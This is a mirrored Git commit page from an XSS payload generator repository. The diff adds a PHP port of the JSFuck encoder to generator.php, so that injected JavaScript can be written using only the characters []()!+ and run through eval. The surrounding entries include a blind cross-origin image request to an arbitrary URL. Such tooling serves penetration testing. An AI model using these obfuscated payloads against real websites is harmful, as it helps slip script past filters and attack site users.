mirror of
https://github.com/nettitude/xss_payloads.git
synced 2024-11-10 06:34:14 +00:00
Added JSFuck obfuscation
This commit is contained in:
parent
109b802a72
commit
61c2a79d12
1 changed files with 378 additions and 1 deletions
379
generator.php
379
generator.php
|
@ -30,7 +30,7 @@
|
|||
],
|
||||
[
|
||||
"name" => "Request URL (img)",
|
||||
"desc" => "Make a blind, cross-origin request to an arbitrary URL",
|
||||
"desc" => "Make a blind, cross-origin request to an arbitrary URL (tip: use a Burp collaborator URL)",
|
||||
"code" => "new Image().src=\"{url}\"",
|
||||
"fields" => "url"
|
||||
],
|
||||
|
@ -93,6 +93,11 @@
|
|||
"name" => "Character hex codes",
|
||||
"desc" => "Construct the payload using hex value of each character",
|
||||
"code" => "eval('{payloadhex}')"
|
||||
],
|
||||
[
|
||||
"name" => "JSF*ck",
|
||||
"desc" => "Encode payload using only the characters []()!+",
|
||||
"code" => "eval({payloadjsf})"
|
||||
]
|
||||
];
|
||||
|
||||
|
@ -144,6 +149,376 @@
|
|||
]
|
||||
];
|
||||
|
||||
// JSFuck: http://www.jsfuck.com/
|
||||
// JSFuck PHP port: https://github.com/Zaczero/jsfuck.php
|
||||
class JSFuck {
|
||||
|
||||
private const MIN = 32;
|
||||
private const MAX = 126;
|
||||
private const USE_CHAR_CODE = 'USE_CHAR_CODE';
|
||||
|
||||
private const SIMPLE = [
|
||||
'false' => '![]',
|
||||
'true' => '!![]',
|
||||
'undefined' => '[][[]]',
|
||||
'NaN' => '+[![]]',
|
||||
'Infinity' => '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])',
|
||||
];
|
||||
|
||||
private const CONSTRUCTORS = [
|
||||
'Array' => '[]',
|
||||
'Number' => '(+[])',
|
||||
'String' => '([]+[])',
|
||||
'Boolean' => '(![])',
|
||||
'RegExp' => 'Function("return/"+false+"/")()',
|
||||
'Function' => '[]["fill"]',
|
||||
];
|
||||
|
||||
private $_MAPPING = [
|
||||
'a' => '(false+"")[1]',
|
||||
'b' => '([]["entries"]()+"")[2]',
|
||||
'c' => '([]["fill"]+"")[3]',
|
||||
'd' => '(undefined+"")[2]',
|
||||
'e' => '(true+"")[3]',
|
||||
'f' => '(false+"")[0]',
|
||||
'g' => '(false+[0]+String)[20]',
|
||||
'h' => '(+(101))["to"+String["name"]](21)[1]',
|
||||
'i' => '([false]+undefined)[10]',
|
||||
'j' => '([]["entries"]()+"")[3]',
|
||||
'k' => '(+(20))["to"+String["name"]](21)',
|
||||
'l' => '(false+"")[2]',
|
||||
'm' => '(Number+"")[11]',
|
||||
'n' => '(undefined+"")[1]',
|
||||
'o' => '(true+[]["fill"])[10]',
|
||||
'p' => '(+(211))["to"+String["name"]](31)[1]',
|
||||
'q' => '(+(212))["to"+String["name"]](31)[1]',
|
||||
'r' => '(true+"")[1]',
|
||||
's' => '(false+"")[3]',
|
||||
't' => '(true+"")[0]',
|
||||
'u' => '(undefined+"")[0]',
|
||||
'v' => '(+(31))["to"+String["name"]](32)',
|
||||
'w' => '(+(32))["to"+String["name"]](33)',
|
||||
'x' => '(+(101))["to"+String["name"]](34)[1]',
|
||||
'y' => '(NaN+[Infinity])[10]',
|
||||
'z' => '(+(35))["to"+String["name"]](36)',
|
||||
|
||||
'A' => '(+[]+Array)[10]',
|
||||
'B' => '(+[]+Boolean)[10]',
|
||||
'C' => 'Function("return escape")()(("")["italics"]())[2]',
|
||||
'D' => 'Function("return escape")()([]["fill"])["slice"]("-1")',
|
||||
'E' => '(RegExp+"")[12]',
|
||||
'F' => '(+[]+Function)[10]',
|
||||
'G' => '(false+Function("return Date")()())[30]',
|
||||
'H' => JSFuck::USE_CHAR_CODE,
|
||||
'I' => '(Infinity+"")[0]',
|
||||
'J' => JSFuck::USE_CHAR_CODE,
|
||||
'K' => JSFuck::USE_CHAR_CODE,
|
||||
'L' => JSFuck::USE_CHAR_CODE,
|
||||
'M' => '(true+Function("return Date")()())[30]',
|
||||
'N' => '(NaN+"")[0]',
|
||||
'O' => '(NaN+Function("return{}")())[11]',
|
||||
'P' => JSFuck::USE_CHAR_CODE,
|
||||
'Q' => JSFuck::USE_CHAR_CODE,
|
||||
'R' => '(+[]+RegExp)[10]',
|
||||
'S' => '(+[]+String)[10]',
|
||||
'T' => '(NaN+Function("return Date")()())[30]',
|
||||
'U' => '(NaN+Function("return{}")()["to"+String["name"]]["call"]())[11]',
|
||||
'V' => JSFuck::USE_CHAR_CODE,
|
||||
'W' => JSFuck::USE_CHAR_CODE,
|
||||
'X' => JSFuck::USE_CHAR_CODE,
|
||||
'Y' => JSFuck::USE_CHAR_CODE,
|
||||
'Z' => JSFuck::USE_CHAR_CODE,
|
||||
|
||||
' ' => '(NaN+[]["fill"])[11]',
|
||||
'!' => JSFuck::USE_CHAR_CODE,
|
||||
'"' => '("")["fontcolor"]()[12]',
|
||||
'#' => JSFuck::USE_CHAR_CODE,
|
||||
'$' => JSFuck::USE_CHAR_CODE,
|
||||
'%' => 'Function("return escape")()([]["fill"])[21]',
|
||||
'&' => '("")["link"](0+")[10]',
|
||||
'\'' => JSFuck::USE_CHAR_CODE,
|
||||
'(' => '(undefined+[]["fill"])[22]',
|
||||
')' => '([0]+false+[]["fill"])[20]',
|
||||
'*' => JSFuck::USE_CHAR_CODE,
|
||||
'+' => '(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[2]',
|
||||
',' => '([]["slice"]["call"](false+"")+"")[1]',
|
||||
'-' => '(+(.+[0000000001])+"")[2]',
|
||||
'.' => '(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]',
|
||||
'/' => '(false+[0])["italics"]()[10]',
|
||||
':' => '(RegExp()+"")[3]',
|
||||
';' => '("")["link"](")[14]',
|
||||
'<' => '("")["italics"]()[0]',
|
||||
'=' => '("")["fontcolor"]()[11]',
|
||||
'>' => '("")["italics"]()[2]',
|
||||
'?' => '(RegExp()+"")[2]',
|
||||
'@' => JSFuck::USE_CHAR_CODE,
|
||||
'[' => '([]["entries"]()+"")[0]',
|
||||
'\\' => JSFuck::USE_CHAR_CODE,
|
||||
']' => '([]["entries"]()+"")[22]',
|
||||
'^' => JSFuck::USE_CHAR_CODE,
|
||||
'_' => JSFuck::USE_CHAR_CODE,
|
||||
'`' => JSFuck::USE_CHAR_CODE,
|
||||
'{' => '(true+[]["fill"])[20]',
|
||||
'|' => JSFuck::USE_CHAR_CODE,
|
||||
'}' => '([]["fill"]+"")["slice"]("-1")',
|
||||
'~' => JSFuck::USE_CHAR_CODE,
|
||||
];
|
||||
|
||||
private const GLOBAL = 'Function("return this")()';
|
||||
|
||||
public function __construct(string $compilePath = "jsfuck.data") {
|
||||
if(file_exists($compilePath)) {
|
||||
$data = file_get_contents("jsfuck.data");
|
||||
$this->_MAPPING = unserialize($data);
|
||||
}
|
||||
else {
|
||||
$this->FillMissingChars();
|
||||
$this->FillMissingDigits();
|
||||
$this->ReplaceMap();
|
||||
$this->ReplaceStrings();
|
||||
|
||||
$data = serialize($this->_MAPPING);
|
||||
file_put_contents("jsfuck.data", $data);
|
||||
}
|
||||
}
|
||||
|
||||
public function Encode(string $input, bool $wrapWithEval = false, bool $runInParentScope = false) : string {
|
||||
$output = [];
|
||||
|
||||
$r = "";
|
||||
foreach(JSFuck::SIMPLE as $i => $val) {
|
||||
$r .= "$i|";
|
||||
}
|
||||
$r .= ".";
|
||||
|
||||
if(preg_match_all("/$r/", $input, $matches)) {
|
||||
foreach($matches[0] as $find) {
|
||||
if(key_exists($find, JSFuck::SIMPLE)) {
|
||||
$output[] = "[".JSFuck::SIMPLE[$find]."]+[]";
|
||||
}
|
||||
else if(key_exists($find, $this->_MAPPING)) {
|
||||
$output[] = $this->_MAPPING[$find];
|
||||
}
|
||||
else {
|
||||
$replacement = "([]+[])[".$this->Encode("constructor")."][".$this->Encode("fromCharCode")."](".$this->Encode((string) ord($find)).")";
|
||||
$output[] = $replacement;
|
||||
$this->_MAPPING[$find] = $replacement;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$output = join("+", $output);
|
||||
|
||||
if(preg_match("/^\d$/", $input)) {
|
||||
$output .= "+[]";
|
||||
}
|
||||
|
||||
if($wrapWithEval) {
|
||||
if($runInParentScope) {
|
||||
$output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."](".$this->Encode("return eval").")()($output)";
|
||||
}
|
||||
else {
|
||||
$output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."]($output)()";
|
||||
}
|
||||
}
|
||||
|
||||
return $output;
|
||||
}
|
||||
|
||||
private function FillMissingChars() {
|
||||
foreach($this->_MAPPING as $key => $value) {
|
||||
if($value === JSFuck::USE_CHAR_CODE) {
|
||||
$charCode = ord($key);
|
||||
$charCodeHex = dechex($charCode);
|
||||
$replace = preg_replace('/(\d+)/', '+($1)+"', $charCodeHex);
|
||||
$this->_MAPPING[$key] = 'Function("return unescape")()("%"'.$replace.'")';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function FillMissingDigits() {
|
||||
for($number = 0; $number < 10; $number++) {
|
||||
$output = "+[]";
|
||||
|
||||
if($number > 0) {
|
||||
$output = "+!$output";
|
||||
}
|
||||
|
||||
for($i = 1; $i < $number; $i++) {
|
||||
$output = "+!+[]$output";
|
||||
}
|
||||
|
||||
if($number > 1) {
|
||||
$output = substr($output, 1);
|
||||
}
|
||||
|
||||
$this->_MAPPING[$number] = "[$output]";
|
||||
}
|
||||
}
|
||||
|
||||
private function ReplaceMap() {
|
||||
for($i = JSFuck::MIN; $i <= JSFuck::MAX; $i++) {
|
||||
$char = chr($i);
|
||||
$value = $this->_MAPPING[$char];
|
||||
|
||||
if(empty($value)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach(JSFuck::CONSTRUCTORS as $key => $val) {
|
||||
$value = preg_replace("/\b$key/", $val.'["constructor"]', $value);
|
||||
}
|
||||
|
||||
foreach(JSFuck::SIMPLE as $key => $val) {
|
||||
$value = preg_replace("/$key/", $val, $value);
|
||||
}
|
||||
|
||||
$value = $this->NumberReplacer($value, "/(\d\d+)/i");
|
||||
$value = $this->DigitReplacer($value, "/\((\d)\)/i");
|
||||
$value = $this->DigitReplacer($value, "/\[(\d)\]/i");
|
||||
|
||||
$value = preg_replace("/GLOBAL/", JSFuck::GLOBAL, $value);
|
||||
$value = preg_replace("/\+\"\"/", "+[]", $value);
|
||||
$value = preg_replace("/\"\"/", "[]+[]", $value);
|
||||
|
||||
$this->_MAPPING[$char] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
private function ReplaceStrings() {
|
||||
foreach($this->_MAPPING as $key => $value) {
|
||||
$this->_MAPPING[$key] = $this->MappingReplacer((string) $value, "/\"([^\"]+)\"/i");
|
||||
}
|
||||
|
||||
$count = JSFuck::MAX - JSFuck::MIN;
|
||||
|
||||
while(true) {
|
||||
$missing = $this->FindMissing();
|
||||
|
||||
if(count($missing) == 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
foreach($missing as $key => $value) {
|
||||
$value = $this->ValueReplacer($value, "/[^\[\]\(\)\!\+]{1}/", $missing);
|
||||
$this->_MAPPING[$key] = $value;
|
||||
}
|
||||
|
||||
if($count-- === 0) {
|
||||
throw new Exception("Could not compile the following chars: ".json_encode($this->FindMissing()));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function FindMissing() : array {
|
||||
$missing = [];
|
||||
foreach($this->_MAPPING as $key => $value) {
|
||||
if(preg_match("/[^\[\]\(\)\!\+]{1}/", $value)) {
|
||||
$missing[$key] = $value;
|
||||
}
|
||||
}
|
||||
return $missing;
|
||||
}
|
||||
|
||||
private function NumberReplacer(string $value, string $pattern) : string {
|
||||
if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
|
||||
for($i = count($matches[0]) - 1; $i >= 0; $i--) {
|
||||
$find = $matches[0][$i][0];
|
||||
$offs = $matches[0][$i][1];
|
||||
|
||||
$begin = substr($value, 0, $offs);
|
||||
$end = substr($value, $offs + strlen($find));
|
||||
|
||||
$values = [];
|
||||
for($j = 0; $j < strlen($find); $j++) {
|
||||
$values[$j] = $find[$j];
|
||||
}
|
||||
|
||||
$head = (int) array_shift($values);
|
||||
$output = "+[]";
|
||||
|
||||
if($head > 0) {
|
||||
$output = "+!$output";
|
||||
}
|
||||
|
||||
for($j = 1; $j < $head; $j++) {
|
||||
$output = "+!+[]$output";
|
||||
}
|
||||
|
||||
if($head > 1) {
|
||||
$output = substr($output, 1);
|
||||
}
|
||||
|
||||
$merged = array_merge([$output], $values);
|
||||
$joined = join("+", $merged);
|
||||
|
||||
$value = $begin.$this->DigitReplacer($joined, "/(\d)/").$end;
|
||||
}
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
private function DigitReplacer(string $value, string $pattern) : string {
|
||||
if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
|
||||
for($i = count($matches[1]) - 1; $i >= 0; $i--) {
|
||||
$find = $matches[1][$i][0];
|
||||
$offs = $matches[1][$i][1];
|
||||
|
||||
$begin = substr($value, 0, $offs);
|
||||
$end = substr($value, $offs + strlen($find));
|
||||
|
||||
$value = $begin.$this->_MAPPING[$find].$end;
|
||||
}
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
private function MappingReplacer(string $value, string $pattern) : string {
|
||||
if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
|
||||
for($i = count($matches[1]) - 1; $i >= 0; $i--) {
|
||||
$find = $matches[1][$i][0];
|
||||
$offs = $matches[1][$i][1];
|
||||
|
||||
$begin = substr($value, 0, $offs - 1);
|
||||
$end = substr($value, $offs + strlen($find) + 1);
|
||||
|
||||
$values = [];
|
||||
for($j = 0; $j < strlen($find); $j++) {
|
||||
$values[$j] = $find[$j];
|
||||
}
|
||||
|
||||
$value = $begin.join("+", $values).$end;
|
||||
}
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
private function ValueReplacer(string $value, string $pattern, array $missing) : string {
|
||||
if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
|
||||
for($i = count($matches[0]) - 1; $i >= 0; $i--) {
|
||||
$find = $matches[0][$i][0];
|
||||
$offs = $matches[0][$i][1];
|
||||
|
||||
$begin = substr($value, 0, $offs);
|
||||
$end = substr($value, $offs + strlen($find));
|
||||
|
||||
if(!key_exists($find, $missing)) {
|
||||
$value = $begin.$this->_MAPPING[$find].$end;
|
||||
}
|
||||
else {
|
||||
$value = $value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Logic for generating a payload
|
||||
function generatePayload( $form ){
|
||||
|
@ -184,6 +559,8 @@
|
|||
$hex .= '\x' . str_pad(dechex(ord($code[$i])), 2, '0', STR_PAD_LEFT);
|
||||
}
|
||||
$prep['payloadhex'] = $hex;
|
||||
$jsf = new JSFuck();
|
||||
$prep['payloadjsf'] = $jsf->Encode($code);
|
||||
$rtn['prepared'] = $prep;
|
||||
|
||||
// Obfuscate code using chosen method
|
||||
|
|
Loading…
Reference in a new issue